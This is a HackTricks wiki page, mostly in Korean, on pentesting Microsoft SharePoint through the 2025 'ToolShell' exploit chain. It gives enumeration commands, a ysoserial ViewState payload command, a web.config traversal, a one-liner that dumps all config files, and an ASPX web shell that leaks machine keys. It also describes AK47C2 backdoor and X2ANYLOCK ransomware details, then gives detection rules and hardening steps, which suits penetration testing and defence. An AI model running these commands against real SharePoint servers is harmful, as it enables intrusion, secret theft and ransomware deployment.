mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
180 lines
9.2 KiB
Markdown
180 lines
9.2 KiB
Markdown
# Microsoft SharePoint – Pentesting & Exploitation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.
|
||
|
||
## 1. Quick enumeration
|
||
```
|
||
# favicon hash and keywords
|
||
curl -s https://<host>/_layouts/15/images/SharePointHome.png
|
||
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
|
||
|
||
# version leakage (often in JS)
|
||
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
|
||
|
||
# interesting standard paths
|
||
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
|
||
/_vti_bin/Lists.asmx # legacy SOAP service
|
||
/_catalogs/masterpage/Forms/AllItems.aspx
|
||
|
||
# enumerate sites & site-collections (requires at least Anonymous)
|
||
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||
```
|
||
## 2. 2025 exploit chain (a.k.a. “ToolShell”)
|
||
|
||
### 2.1 CVE-2025-49704 – ToolPane.aspx에서의 코드 주입
|
||
|
||
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>`는 페이지에 임의의 *Server-Side Include* 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 `Process.Start()`를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.
|
||
|
||
### 2.2 CVE-2025-49706 – 부적절한 인증 우회
|
||
|
||
같은 페이지는 사이트 컨텍스트를 결정하기 위해 **X-Forms_BaseUrl** 헤더를 신뢰합니다. 이를 `/_layouts/15/`로 지정함으로써, 루트 사이트에서 강제되는 MFA/SSO를 **인증되지 않은 상태**로 우회할 수 있습니다.
|
||
|
||
### 2.3 CVE-2025-53770 – 인증되지 않은 ViewState 역직렬화 → RCE
|
||
|
||
공격자가 `ToolPane.aspx`에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 **서명되지 않은** (또는 MAC 전용) `__VIEWSTATE` 값을 게시할 수 있으며, 이는 *w3wp.exe* 내에서 코드 실행으로 이어집니다.
|
||
|
||
서명이 활성화된 경우, 임의의 `web.config`에서 **ValidationKey/DecryptionKey**를 훔치고 *ysoserial.net* 또는 *ysodom*을 사용하여 페이로드를 위조하십시오.
|
||
```
|
||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||
```
|
||
For an in-depth explanation on abusing ASP.NET ViewState read:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
|
||
{{#endref}}
|
||
|
||
### 2.4 CVE-2025-53771 – 경로 탐색 / web.config 노출
|
||
|
||
`ToolPane.aspx`에 조작된 `Source` 매개변수(예: `../../../../web.config`)를 전송하면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:
|
||
|
||
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH 쿠키 위조
|
||
* 연결 문자열 및 비밀.
|
||
|
||
## 3. 실제에서 관찰된 포스트 익스플로잇 레시피
|
||
|
||
### 3.1 모든 *.config* 파일 외부 유출 (변형-1)
|
||
```
|
||
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
|
||
```
|
||
결과적으로 생성된 `debug_dev.js`는 익명으로 다운로드할 수 있으며 **모든** 민감한 구성을 포함합니다.
|
||
|
||
### 3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)
|
||
```
|
||
powershell.exe -EncodedCommand <base64>
|
||
```
|
||
디코딩된 페이로드 예시 (축약됨):
|
||
```csharp
|
||
<%@ Page Language="C#" %>
|
||
<%@ Import Namespace="System.Security.Cryptography" %>
|
||
<script runat="server">
|
||
protected void Page_Load(object sender, EventArgs e){
|
||
Response.Write(MachineKey.ValidationKey);
|
||
// echo secrets or invoke cmd
|
||
}
|
||
</script>
|
||
```
|
||
작성 대상:
|
||
```
|
||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||
```
|
||
쉘은 **기계 키를 읽고 회전하는** 엔드포인트를 노출하여 농장 전역에서 ViewState 및 ASPXAUTH 쿠키를 위조할 수 있게 합니다.
|
||
|
||
### 3.3 난독화된 변형 (variation-3)
|
||
|
||
같은 쉘이지만:
|
||
* `...\15\TEMPLATE\LAYOUTS\` 아래에 배치됨
|
||
* 변수 이름이 단일 문자로 축소됨
|
||
* 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 `Thread.Sleep(<ms>)`가 추가됨.
|
||
|
||
### 3.4 AK47C2 다중 프로토콜 백도어 및 X2ANYLOCK 랜섬웨어 (2025-2026 관찰됨)
|
||
|
||
최근 사건 대응 조사(Unit42 “Project AK47”)는 공격자들이 초기 RCE **후에** ToolShell 체인을 활용하여 SharePoint 환경에 이중 채널 C2 임플란트와 랜섬웨어를 배포하는 방법을 보여줍니다:
|
||
|
||
#### AK47C2 – `dnsclient` 변형
|
||
|
||
* 하드코딩된 DNS 서버: `10.7.66.10`이 권한 있는 도메인 `update.updatemicfosoft.com`과 통신.
|
||
* 메시지는 정적 키 `VHBD@H`로 XOR 암호화된 JSON 객체이며, 16진수로 인코딩되어 **서브 도메인 레이블**로 포함됨.
|
||
|
||
```json
|
||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||
```
|
||
|
||
* 긴 쿼리는 청크로 나뉘고 `s`로 접두사가 붙은 후 서버 측에서 재조립됨.
|
||
* 서버는 동일한 XOR/16진수 스킴을 가진 TXT 레코드로 응답:
|
||
|
||
```json
|
||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||
```
|
||
* 버전 202504는 `<COMMAND>::<SESSION_KEY>` 및 청크 마커 `1`, `2`, `a`의 단순화된 형식을 도입함.
|
||
|
||
#### AK47C2 – `httpclient` 변형
|
||
|
||
* 동일한 JSON 및 XOR 루틴을 재사용하지만 **HTTP POST 본문**에 16진수 블롭을 `libcurl`(`CURLOPT_POSTFIELDS` 등)을 통해 전송.
|
||
* 임의의 쉘 명령 실행을 허용하는 동일한 작업/결과 워크플로우:
|
||
* 동적 대기 간격 및 킬 스위치 지침.
|
||
|
||
#### X2ANYLOCK 랜섬웨어
|
||
|
||
* DLL 사이드 로딩을 통해 로드된 64비트 C++ 페이로드(아래 참조).
|
||
* 파일 데이터에 AES-CBC를 사용하고 AES 키를 래핑하기 위해 RSA-2048을 사용한 후 확장자 `.x2anylock`을 추가.
|
||
* 로컬 드라이브와 발견된 SMB 공유를 재귀적으로 암호화하며, 시스템 경로는 건너뜀.
|
||
* 협상을 위한 정적 **Tox ID**를 포함한 평문 노트 `How to decrypt my data.txt`를 드롭.
|
||
* 내부 **킬 스위치** 포함:
|
||
|
||
```c
|
||
if (file_mod_time >= "2026-06-06") exit(0);
|
||
```
|
||
|
||
#### DLL 사이드 로딩 체인
|
||
|
||
1. 공격자가 합법적인 `7z.exe` 옆에 `dllhijacked.dll`/`My7zdllhijacked.dll`를 작성.
|
||
2. SharePoint에서 생성된 `w3wp.exe`가 `7z.exe`를 실행하고, Windows 검색 순서로 인해 악성 DLL을 로드하여 메모리에서 랜섬웨어 진입점을 호출.
|
||
3. 별도의 LockBit 로더가 관찰됨 (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`)이 쉘 코드를 복호화하고 `d3dl1.dll`에 **DLL 할로잉**을 수행하여 LockBit 3.0을 실행.
|
||
|
||
> [!INFO]
|
||
> X2ANYLOCK에서 발견된 동일한 정적 Tox ID가 유출된 LockBit 데이터베이스에 나타나며, 제휴 중복을 시사함.
|
||
|
||
---
|
||
|
||
## 4. 탐지 아이디어
|
||
|
||
| 텔레메트리 | 의심스러운 이유 |
|
||
|-----------|----------------------|
|
||
| `w3wp.exe → cmd.exe` | 작업 프로세스가 쉘을 생성하는 경우는 드물어야 함 |
|
||
| `cmd.exe → powershell.exe -EncodedCommand` | 고전적인 lolbin 패턴 |
|
||
| `debug_dev.js` 또는 `spinstall0.aspx` 파일 이벤트 생성 | ToolShell에서 직접 가져온 IOC |
|
||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/모듈 로그) | 공개 PoC가 이 페이지를 호출함 |
|
||
|
||
예시 XDR / Sysmon 규칙 (의사-XQL):
|
||
```
|
||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||
```
|
||
## 5. 강화 및 완화
|
||
|
||
1. **패치** – 2025년 7월 보안 업데이트가 *모든* 네 개의 CVE를 수정합니다.
|
||
2. **회전** – 침해 후 모든 `<machineKey>` 및 `ViewState` 비밀을 변경합니다.
|
||
3. `WSS_WPG` 및 `WSS_ADMIN_WPG` 그룹에서 *LAYOUTS* 쓰기 권한을 제거합니다.
|
||
4. 프록시/WAF 수준에서 `/_layouts/15/ToolPane.aspx`에 대한 외부 접근을 차단합니다.
|
||
5. **ViewStateUserKey**, **MAC 활성화**, 및 사용자 정의 *EventValidation*을 활성화합니다.
|
||
|
||
## 관련 트릭
|
||
|
||
* IIS 사후 활용 및 web.config 남용:
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||
{{#endref}}
|
||
|
||
## 참고 문헌
|
||
|
||
- [Unit42 – Microsoft SharePoint 취약점의 능동적 악용](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||
- [GitHub PoC – ToolShell 익스플로잇 체인](https://github.com/real-or-not/ToolShell)
|
||
- [Microsoft 보안 권고 – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||
- [Unit42 – Project AK47 / SharePoint 악용 및 랜섬웨어 활동](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||
- [Microsoft 보안 권고 – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|